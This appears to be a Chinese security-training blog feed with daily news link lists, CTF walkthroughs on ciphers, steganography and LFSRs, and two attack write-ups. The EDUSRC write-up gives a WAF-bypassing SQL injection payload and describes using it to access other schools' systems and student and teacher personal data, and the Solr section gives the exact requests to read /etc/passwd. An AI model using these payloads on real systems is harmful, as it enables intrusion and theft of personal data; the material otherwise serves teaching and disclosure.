网络安全日报 2021年03月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Apple发布紧急安全更新修复严重零日漏洞
https://www.securityweek.com/apple-patches-under-attack-ios-zero-day
2、欧盟与美国达成隐私数据交换协议
https://www.securityweek.com/eu-us-make-new-attempt-data-privacy-deal
3、卡巴斯基报告称针对发达国家的ICS设备勒索攻击呈上升趋势
https://www.securityweek.com/kaspersky-sees-rise-ransomware-attacks-ics-devices-developed-countries
4、官方“ Facebook for WordPress”插件中发现严重漏洞
https://www.securityweek.com/severe-flaws-official-facebook-wordpress-plugin
5、Weintek HMI 存在远程攻击漏洞
https://www.securityweek.com/vulnerabilities-can-allow-attackers-remotely-gain-control-weintek-hmis
6、Hades勒索软件团伙针对美国的大型组织
https://securityaffairs.co/wordpress/115994/cyber-crime/hades-ransomware.html
7、QNAP警告正在针对NAS设备的暴力破解活动
https://www.bleepingcomputer.com/news/security/qnap-warns-of-ongoing-brute-force-attacks-against-nas-devices/
8、研究人员发现英特尔处理器新的严重漏洞
https://www.ehackingnews.com/2021/03/black-code-two-critical-vulnerabilities.html
9、美国军事承包商PDI集团遭勒索软件攻击数据泄露
https://therecord.media/ransomware-gang-leaks-data-from-us-military-contractor-the-pdi-group/
10、专家发现新的复杂Android间谍软件冒充系统更新
https://securityaffairs.co/wordpress/116016/malware/android-spyware-system-update.html
Crypto练习之替换密码
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天进行的实验室Crypto种的替换密码。首先介绍一下工具,在解决这类题型的时候,我们不仅要运用到计算机知识,还有一部分密码学知识。
本次实验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001。
首先介绍一下工具,在解决这类题型的时候,我们不仅要运用到计算机知识,还有一部分密码学知识。
本实验要求实验者具备如下的相关知识。
一、替换密码
替换密码是古典密码学中的一种加密方法,其按照特定的规律对文件进行加密。在最简单的替换密码中,通过将一个字符映射为另一个字符的方式来进行加密,比如对ASCII码表做一个映射,可以将密文设置为明文的下一位,如字符a映射为字符b,即可完成简单的替换加密。
二、凯撒密码
凯撒密码替换密码中最为典型的代表。凯撒密码非常简单,就是对字母表中的每个字母,用它之后的第三个字母来代替。例如:
在凯撒密码中字母表是循环的,即认为紧随Z后的字母是A,因此最后一个单词party中,y的密文是B。
当凯撒密码的移位间隔为13时,就是ROT13编码了,因为英文字母表只有26个字母,而对ROT13而言,加密和解密的间隔都是一样的,因此同样的一段文字经过两次ROT13变换后就可以得到自身,即加密和解密是完全一样的操作。
三、英文字母频率
字母频率,就是指各个字母在文本材料中出现的频率。统计表明,在英语语料中各个字母的频率分布是有规律的,比如最常见的字母是e。英语中各个字母大致的频率分布如下图所示:
学习这些的主要目的是了解CTF竞赛中的密码学题型、凯撒密码、基于频率的替换密码破解方法。
接下来开始准备实验环境,我们需要的辅助工具有Python,substitution_cipher_solver,JPK。
先来看题目,在实验主机上的C:\Crypto\1目录下为本题所提供的文件(password.txt以及secret.rar两个文件),请对这些文件进行分析,找到Flag字符串。
文件找到了,该怎么分析呢?
这道题意图在于考察选手对密码学中替换密码的了解,包括凯撒密码及其变形以及基于英文字母频率对单表代替密码的破解方法。
实验步骤一、凯撒密码破解
题目提供了两个文件:password.txt以及secret.rar文件,其中压缩包文件经过了加密,需要密码才能进行解压操作,而password.txt文件中给出了一个hint,提示Caesar以及字符串Mkockb_1c_o4cI。
打开桌面上的JPK工具,输入字符串Mkockb_1c_o4cI,然后依次在菜单项中选择“Ascii”、“Decrypt”、“Caesar”,就可以看到所有可能的结果了,仔细观察输出的结果,可以看到比较有意义的字符串为Caesar_1s_e4sY,如下图所示:
经过测试,发现Caesar_1s_e4sY就是正确的解压密码。
实验步骤二、单表代替密码分析
打开secret.txt文件,得到的内容如下:
oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw k
这里可以尝试对这段文本进行凯撒密码变换,但是尝试1-13这些偏移都看不到任何有意义的结果,因为这里不再使用简单的凯撒变换了,这里使用的是任意的单表代替。在凯撒密码中,所有的字符经过变换后,他们的偏移量都是一样的,比如a经过变换后得到d,那么b经过变换后就是e;而在任意的单表代替中,每个字符都唯一映射到另一个字符,字符串映射之间是没有规律的。
经过使用暴力方式对此类加密进行破解非常麻烦,但是可以使用语言的一些规律对其发起攻击。首先把字母使用的相对频率统计出来,与英文字母的使用频率分布进行比较,可以猜测出一部分映射,然后配合对英语中的构词规律的分析,就可以猜测出其他的映射,按照这个思路基本就能完成密码分析过程。
页面http://cryptoclub.org/tools/cracksub_topframe.php提供了一个方便的操作界面供我们对此类问题进行分析(实验主机不提供网络访问,请在自己的电脑上访问这个页面)。打开该页面然后填入密文,点击Crack,如下图所示:
接下来就可以从频率上对密文进行分析了。根据右侧的频率统计,我们可以尝试对前面四个字母进行替换,在左侧的矩形文本框中,在密文对应字符的上面可以填写解密后的明文,因此,这里得到的密文到明文的映射为:A-e, Y-t, Q-a, I-o。
在英文单词构词方面,以密文第二个单词YJA为例,经过分析后我们得到的结果为t*e,而字符J在密文中的频率为5.9%,对应英文文本中可能的字符为i, n, s, h, r,经过分析,只有the才是有意义的单词,因此我们可以猜测密文J对应明文h。
经过这样不断的分析,我们最终就能还原出明文了。
下来就是实验步骤三、使用脚本进行快速破解
使用实验步骤二中提供的页面,可以完成对密文的破解,但是需要耗费一定的时间和精力,使用已有的成熟的解密脚本,我们可以快速完成破解过程。
页面https://github.com/alexbers/substitution_cipher_solver提供了一个Substitution Cipher Solver工具,可以快速完成对单表替换类密码的分析。从地址https://github.com/alexbers/substitution_cipher_solver/archive/master.zip可以下载到这个工具(或者从http://heetian.qiniudn.com/crypto/substitution_cipher_solver.zip下载,在实验主机的C:\Crypto\1\ substitution_cip
nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phrack magazine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the next phrack i
从明文的最后一句话可以知道,flag为cryptooosocoolamiright。
layfair加密方式同时对两个明文字符进行替换加密,查阅资料了解Playfair密码。
原理和过程,以后在CTF的题目中稍微变化一下,可能你就不认识了。
你想在靶场学习CTF技术吗?
Lower-SQL至系统沦陷
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
在一次edusrc挖掘中,发现了一个系统,对于学校来讲算是及其重要的一个系统,其中部署这大批量的教师+学生信息
同时这个功能点的验证码可以被绕过,拦截重放Intruder进行BP爆破,献上我的大字典并没有任何结果,阿巴阿巴....
爆破无法成功,尝试一波sql注入,照理来讲这种子域下重要的系统应该会有waf等一系列防护操作,即使这样还是需要试试。上来一个admin’ 发现报错。笃定大概率有sql,还是iis搭建的
尝试利用admin’ or ‘1’=’1 密码123456手法 来嗅探系统中是否存在密码为123456的用户,当我开心敲下空格,阿巴阿巴.... 有限制
尝试绕waf,发现当 or 两侧拥有空格时,or这个关键字会被waf拦截,当尝试使用/**/注释符来绕过时发现依旧会产生报错,或许可能是对于等于号进行了限制,利用LIKE尝试,依旧是提示检测到非法字符
从上文的报错可以知道是用的iis7.5搭建,mssql数据库,内敛注释仅被mysql解析,多次FUZZ发现是对于//注释符进行了过滤,那么就在//中任意添加字符串,这边还有前端长度限制,直接F12改maxlength值,同时此系统的应该是没有存在123456密码的用户。换种思路,能来证明其存在注入,让其报错 返回服务器版本信息。
Payload:whskxk'/!&/or/!&/convert(int,@@version)=1/!&/AND/!&/'1'LIKE'1
成功返回服务器版本信息
已经知道此类系统存在SQL 用fofa进行查找 进入其它系统来寻找后台漏洞,发现存在68个类似使用此系统的学校
发现一处可以进入的学校,打入payload 密码123456
当我们利用payload进入系统的时候,发现存在两个功能点,第一个是权限较低的用户,第二个是管理员用户,当点击此功能点的时候 会发现下面有一个地址携带敏感的工号(这个之前在两个功能点都进去之后,没有莫得特别严重的漏洞,回过头来摸索的时候发现的。挖洞讲究的是细心+耐心)
感觉有戏,打开无痕模式 复制此URL,同时将Userid的值修改成admin。
我德西玛 精神小伙,虎躯一震,揉揉眼睛。全校学生个人信息到手,教师的个人信息也同时到手。其家庭成员信息也到手,阿巴巴阿巴....
回想FOFA搜集到的资产+未授权访问....
EDUSRC冲分!!! GOGOGO!!!
涉及漏洞均已提交EDUSRC,同时涉及院校都已积极修复响应。遵守网络安全!共筑美好社会!
你想在靶场学习CTF技术吗?
网络安全日报 2021年03月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Solarwinds 发布更新修复新的严重漏洞
https://www.securityweek.com/new-code-execution-flaws-solarwinds-orion-platform
2、OpenSSL 发布1.1.1k修补了两个高危漏洞
https://www.securityweek.com/openssl-111k-patches-two-high-severity-vulnerabilities
3、黑客开始利用Thrive Theme WordPress插件中的最新漏洞
https://www.securityweek.com/hackers-start-exploiting-recent-vulnerabilities-thrive-theme-wordpress-plugins
4、Mamba Ransomware利用DiskCryptor进行加密
https://www.securityweek.com/mamba-ransomware-leverages-diskcryptor-encryption-fbi-warns
5、3000万美国人受Astoria公司数据泄露的影响
https://securityaffairs.co/wordpress/115934/breaking-news/astoria-company-data-leak.html
6、Microsoft修复Windows PSExec特权提升漏洞
https://www.bleepingcomputer.com/news/security/microsoft-fixes-windows-psexec-privilege-elevation-vulnerability
7、英国服装零售商Fat Face遭黑客入侵数据泄露
https://www.inforisktoday.com/british-clothing-retailer-fat-face-discloses-data-breach-a-16249
8、安全机构在互联网上的Exchange中检测到数十万个Webshell
https://searchsecurity.techtarget.com/news/252498373/Nearly-100000-web-shells-detected-on-Exchange-servers
9、XcodeSpy 通过Xcode项目传播恶意软件
https://cyware.com/news/trojanized-xcode-project-spreads-macos-malware-1a2f1982
10、Slack Connect DM新功能存在安全隐患
https://www.securityweek.com/new-slack-connect-dm-feature-raises-security-concerns
【隐写】开局一张图,啥也看不出
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
最近遇到一个CTF题目,上面就一张图片是什么?啥都看不出来。今天来看一下CTF图片隐写题目,在图片里面隐藏一些不为人知的flag呢?
本次实验的地址为:《CTF Stegano练习之隐写6》。
首先来看题目。在实验主机上的C:\Stegano\6目录下提供了pic1.jpg以及pic2.jpg两个文件,请对这两文件进行分析,找到一个由两个英文单词组成的字符串Flag。
这两张图看起来都感觉都差不多全是黑白像素点,怎么去找flag呢?
这里有一个神器StegSolve,使用StegSolve提取Flag打开桌面上的StegSolve,然后选择菜单项“File”、“Open”打开pic1.jpg,然后选择菜单项“Analyse”、“Image Combiner”选择pic2.jpg文件,默认的XOR操作就可以看到Flag了,如图所示:
经过简单的分析,我们发现两个图片的尺寸都是300*300,而且文件大小都是71.6KB,所以就不可能存在某一个文件中隐藏了额外的数据的情况了。那么我们可以对两个文件进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看看是否能看到有用的信息。而StegSolve可以十分方便的实现这些操作。
但是使用工具也有一点不好,就是工作的扩展性几乎为零,不能进行批量的自动化处理,而对于自己编写的脚本,自然可以十分方便的进行扩展,可以根据实际需求进行各种定制,并进行批量的自动化处理等。
对于这类题目强烈推荐使用Python的PIL库,脚本“C:\Stegano\6\xorImg.py”的源代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
from PIL import Image
def loadImage(filename):
img = Image.open(filename)
width, height = img.size
img = img.convert("RGB")
pixel = img.load()
return width, height, pixel
def combineImage(file1, file2, file3):
w1, h1, p1 = loadImage(file1)
w2, h2, p2 = loadImage(file2)
width = min(w1, w2)
height = min(h1, h2)
img = Image.new("RGB", (width, height))
pix = img.load()
for y in xrange(0, height):
for x in xrange(0, width):
r1, g1, b1 = p1[x, y]
r2, g2, b2 = p2[x, y]
pix[x, y] = r1^r2, g1^g2, b1^b2
img.save(file3)
if name == "main":
combineImage("pic1.jpg", "pic2.jpg", "pic3.jpg")
双击运行这个python脚本,就可以得到处理结果pic3.jpg,打开该图片就可以看到Flag字符串了,为AZADI TOWER。
脚本的代码比较简单,大致就是使用loadImage函数得到图片的长度、宽度、像素矩阵,然后在函数combineImage中对两个矩阵的像素点进行异或运算,并保存到第三张图片中。注意当两张图片的尺寸不一样的时候,我们进行了额外的处理,即只取最小的长度和宽度。
但是你这里只有XOR脚本,没有其他的。
下面继续来写一个通用的脚本,我们可以对该脚本进行修改,增加其可扩展的灵活性,通过定义一个运算函数实现通用的处理功能,比如我们可以定义xor、or、and三个操作的函数,就可以得到三个不同的处理结果了。脚本“C:\Stegano\6\combineImg.py”的源代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
from PIL import Image
def xorFun(x, y):
return x^y
def orFun(x, y):
return x|y
def andFun(x, y):
return x&y
def loadImage(filename):
img = Image.open(filename)
width, height = img.size
img = img.convert("RGB")
pixel = img.load()
return width, height, pixel
def combineImage(file1, file2, file3, func):
w1, h1, p1 = loadImage(file1)
w2, h2, p2 = loadImage(file2)
width = min(w1, w2)
height = min(h1, h2)
img = Image.new("RGB", (width, height))
pix = img.load()
for y in xrange(0, height):
for x in xrange(0, width):
r1, g1, b1 = p1[x, y]
r2, g2, b2 = p2[x, y]
pix[x, y] = func(r1,r2), func(g1,g2), func(b1,b2)
img.save(file3)
if name == "main":
combineImage("pic1.jpg", "pic2.jpg", "xor.jpg", xorFun)
combineImage("pic1.jpg", "pic2.jpg", "or.jpg", orFun)
combineImage("pic1.jpg", "pic2.jpg", "and.jpg", andFun)
这个题目不仅仅要会代码,重要的是从题目中找出隐写信息。因为题目有一定难度,才导致CTF比赛这么有竞争力。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Apache Solr最新任意文件读取漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞简介
Apache Solr是一个开源搜索服务引擎,默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDde9d-11f0-4ac2-921f-b04f7e137c75 (Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。)
影响版本
solr任意版本
环境搭建
漏洞环境下载:
https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz解压后进入bin目录,启动(需要java环境),
./solr start
此时启动的solr是没有核心进行索引和搜索的,创建一个节点(核心)
./solr create -c test
访问:http://ip:8983可以看到创建的核心
实际场景下可以看到会有很多核心
漏洞复现
启用远程流传输
访问http://ip:8983/solr/test/config/抓包,将请求包修改为POST请求,修改Content-Type为“application/json”,发送以下数据:
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
即可开启远程流。
读取文件
引入远程流,将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/http://www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件
POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.74.139:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd
漏洞修复
(官方不承认这是漏洞.jpg)
因为solr默认安装情况下未授权,导致可以读取任意文件,启用Apache Solr身份验证可有效缓解该漏洞的影响
配置访问控制策略,避免Apache Solr暴露在互联网
参考
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年03月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、航空租赁公司Solairus Aviation遭受数据泄露
https://www.securityweek.com/air-charter-firm-solairus-aviation-suffers-data-breach
2、TBox RTU中漏洞可能会使工业组织遭受远程攻击
https://www.securityweek.com/vulnerabilities-tbox-rtus-can-expose-industrial-organizations-remote-attacks
3、霍尼韦尔表示IT系统遭恶意软件破坏
https://www.securityweek.com/honeywell-says-malware-disrupted-it-systems
4、思科修复了Cisco Jabber客户端软件中的严重漏洞
https://securityaffairs.co/wordpress/115931/security/cisco-jabber-critical-flaw.html
5、外汇经纪商FBS泄露数百万用户详细数据
https://securityaffairs.co/wordpress/115925/data-breach/fbs-data-breach.html
6、选举前,黑客泄露了数百万以色列选民的详细信息
https://securityaffairs.co/wordpress/115918/hacking/israeli-voters-leak.html
7、微软透露全球92% Exchange已得到修补或缓解
https://securityaffairs.co/wordpress/115896/security/microsoft-exchange-patched.html
8、TrickBot利用网络钓鱼加速传播
https://cyware.com/news/trickbot-spreading-actively-launches-phishing-schemes-ba2f050b
9、服务器制造商Stratus Technologies遭勒索软件攻击
https://www.bleepingcomputer.com/news/security/high-availability-server-maker-stratus-hit-by-ransomware/
10、美国保险公司CNA遭网络攻击导致网络中断
https://www.securityweek.com/insurer-cna-says-cyberattack-caused-network-disruption
Stegano隐写-流量分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
CTF套路千千万,今天来看看流量分析。
本次实验题目地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。
先来看题,给定的secret文件没有扩展名,我们需要先弄清楚文件的具体格式信息,才好进行更进一步的分析操作,这里使用TrID工具来对其进行识别。打开cmd命令提示符,切换到C:\Stegano\5目录,使用TrID对secret进行识别,如图所示:
PCAP文件,这种类型的文件通常为网络通信流量抓包文件,可以使用Wireshark进行分析。我们给文件加上.pcap扩展名,然后使用Wireshark将其打开,就可以看到网络通信数据了,如图所示:
372条通信记录,算是很少很少的了,我们先看一下协议类型,除了TCP和UDP协议之外,更具体的协议大概有:TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析,以FTP协议为例,选中一条FTP通信记录,然后单击右键,在菜单中选择“Follow TCP Stream”,我们看到的信息如图所示:
其中有一个hello.txt文件以及super_secret_message.png文件,这两个文件看起来比较可疑。
我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中,因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析,我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件,现在我们需要将这两个文件的数据提取出来。
通过在Wireshark中对通信流量的分析,我们发现在包的序号为204的地方开始传送hello.txt的内容,在包的序号为312的地方开始传送super_secret_message.png的内容,如图所示:
因此我们可以在204以及312后面的数据包去找,以super_secret_message.png文件为例,我们发现序号为313的数据包的协议为FTP-DATA,选中该条记录之后,邮件选择“Follow TCP Stream”,显示方式选择“Raw”,然后选择“Save As”就可以保存这个PNG文件了,如下图所示:
打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337},分析完毕。
老套路,还是隐写题,只是加了个流量分析,还要了解FTP协议,分析数据。找到突破口,合理的进行提取就可以事半功倍。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF竞赛密码学之 LFSR
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
概述:
线性反馈移位寄存器(LFSR)归属于移位寄存器(FSR),除此之外还有非线性移位寄存器(NFSR)。移位寄存器是流密码产生密钥流的一个主要组成部分。
$GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成,如下图所示。
移位寄存器的三要素:
初始状态:由用户确定
反馈函数:$f(a_1,a_2,...,a_n)$是n元布尔函数,即函数的自变量和因变量只取0和1这两个可能值
输出序列
如果反馈函数是线性的,那么我们称其为 LFSR,如下图所示:
LFSR的输出序列{ $a_n$ }满足:
$f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$
$a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$
$a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$
.....
$a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...)
举例:
下面是一个5级的线性反馈移位寄存器,其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$
反馈函数为:$a{5+i} = a{3+i}⊕a_i$,(i = 1,2,...)可以得到输出序列为:
1001101001000010101110110001111 100110…
周期为31。
对于 n 级线性反馈移位寄存器,最长周期为$2^n-1$(排除全零)。达到最长周期的序列一般称为 m 序列
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 (本实验主要介绍了CTFCrypto练习之替换密码,通过本实验的学习,你能够了解CTF竞赛中的密码学题型,掌握凯撒密码破解方法,学会基于频率的替换密码破解方法。)
解决LFSR问题
Part(1) 2018 强网杯 Streamgame1
考点:已知反馈函数,输出序列,求逆推出初始状态
题目:
from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用:判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位,bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh
考点:
def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作,得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit)
题目已知条件为 flag长度为19bits,mask长度也为19bits.
由LFSR的输出序列{ $a_n$ }满足的条件:
$a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...)
可知,输出值$a{n+i}$的结果与c的值相关,即题目中的mask。只有当c的值为1时,$c_1a{n+i-1},...,c_na_i$的值才可能为1
题目中mask中只有第(3,4,5,9,13,14,17,19)位为1,其余都是0(mask这里右边才是第一位,从右往左增大)
现在我们的目的就是为了求出前19位seed的值,而我们已知了seed后面输出序列的值(题目中给的附件key.txt)。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值,即:
key = 0101010100111000111
现在需要计算$a{19}$的值,假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算,那么我们将得到输出值为 key[-1]=1。
因为mask中只有第(3,4,5,9,13,14,17,19)位为1,所以线性反馈函数只取这几位对应的a值
1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17])
得1=$a{19}$^0,得到$a{19}$=1
同理:R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1,求得$a_{18}$=1
第一种方法
#python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18
第二种方法
seed值只可能是0和1构成,所以猜就行了。
from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数,每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask
第三种方法
import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str
Part(1) 2018 强网杯 Streamgame2
考点:已知反馈函数,输出序列,求逆推出初始状态
题目
from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key","
解法与 2018 强网杯 Streamgame1不能说是毫不相干,简直是一m0一样
from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp
Part(3) [CISCN2018]oldstreamgame
考点:和前面的题目一样都是给出输出序列和反馈函数,求seed(初始状态)
题目:
flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010
exp
#python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in
Part(4) [De1CTF2019]Babylfsr
考点:B-M 算法
题目给了度为256的lfsr,和输出长度为504的输出序列,并提示了FLAG的特征。
在CTFWiki中有介绍道 B-M 算法:如果我们知道了长度为 2n 的输出序列,那么就可以通过构造矩阵来求出 mask,时间复杂度:$O(n^2)$ 次比特操作,空间复杂度:$O(n)$ 比特。
题目:
import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas
这题中输出序列只给出了504个值,根据 B-M 算法,我们需要确定512个值 (即长度为2n的序列,n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位,可以得到 256 种 mask 可能值,用这 256 个 mask 恢复出 256 个key 值,再用限制条件筛选出 flag.
#sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000
output:
flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}
上面是我关于LFSR学习的一点总结,希望对大家有所帮助,后面会介绍关于LFSR更多的知识点.
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年03月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、IDA 7.6 版本发布原生支持 Apple M1 芯片
https://www.hex-rays.com/blog/ida-7-6-released/
2、Purple Fox恶意软件通过Windows SMB进行蠕虫传播
https://www.securityweek.com/purple-fox-malware-squirms-worm-windows
3、研究人员将新的APT组织SilverFish与SolarWinds攻击关联
https://www.securityweek.com/researchers-dive-operations-silverfish-cyber-espionage-group
4、物联网公司Sierra Wireless 遭勒索软件攻击导致停产
https://www.securityweek.com/sierra-wireless-says-ransomware-disrupted-production-manufacturing-facilities
5、Google警告Android用户已修补的漏洞正被利用
https://www.securityweek.com/recently-patched-android-vulnerability-exploited-attacks
6、MangaDex漫画网站遭网络攻击后暂时关闭
https://www.bleepingcomputer.com/news/security/mangadex-manga-site-temporarily-shut-down-after-cyberattack/
7、Black Kingdom勒索软件针对微软Exchange服务器
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-now-targeted-by-black-kingdom-ransomware/
8、Flagstar银行通知客户遭勒索软件后导致SSN丢失
https://www.vice.com/en/article/xgznxw/ransomwared-bank-tells-customers-it-lost-their-ssns
9、Facebook表示在2020年10月至12月关闭了13亿虚假帐号
https://telecom.economictimes.indiatimes.com/news/facebook-says-took-down-1-3-billion-fake-accounts-in-oct-dec/81633136
10、网络犯罪分子在暗网上提供伪造的COVID-19测试结果和疫苗接种证书
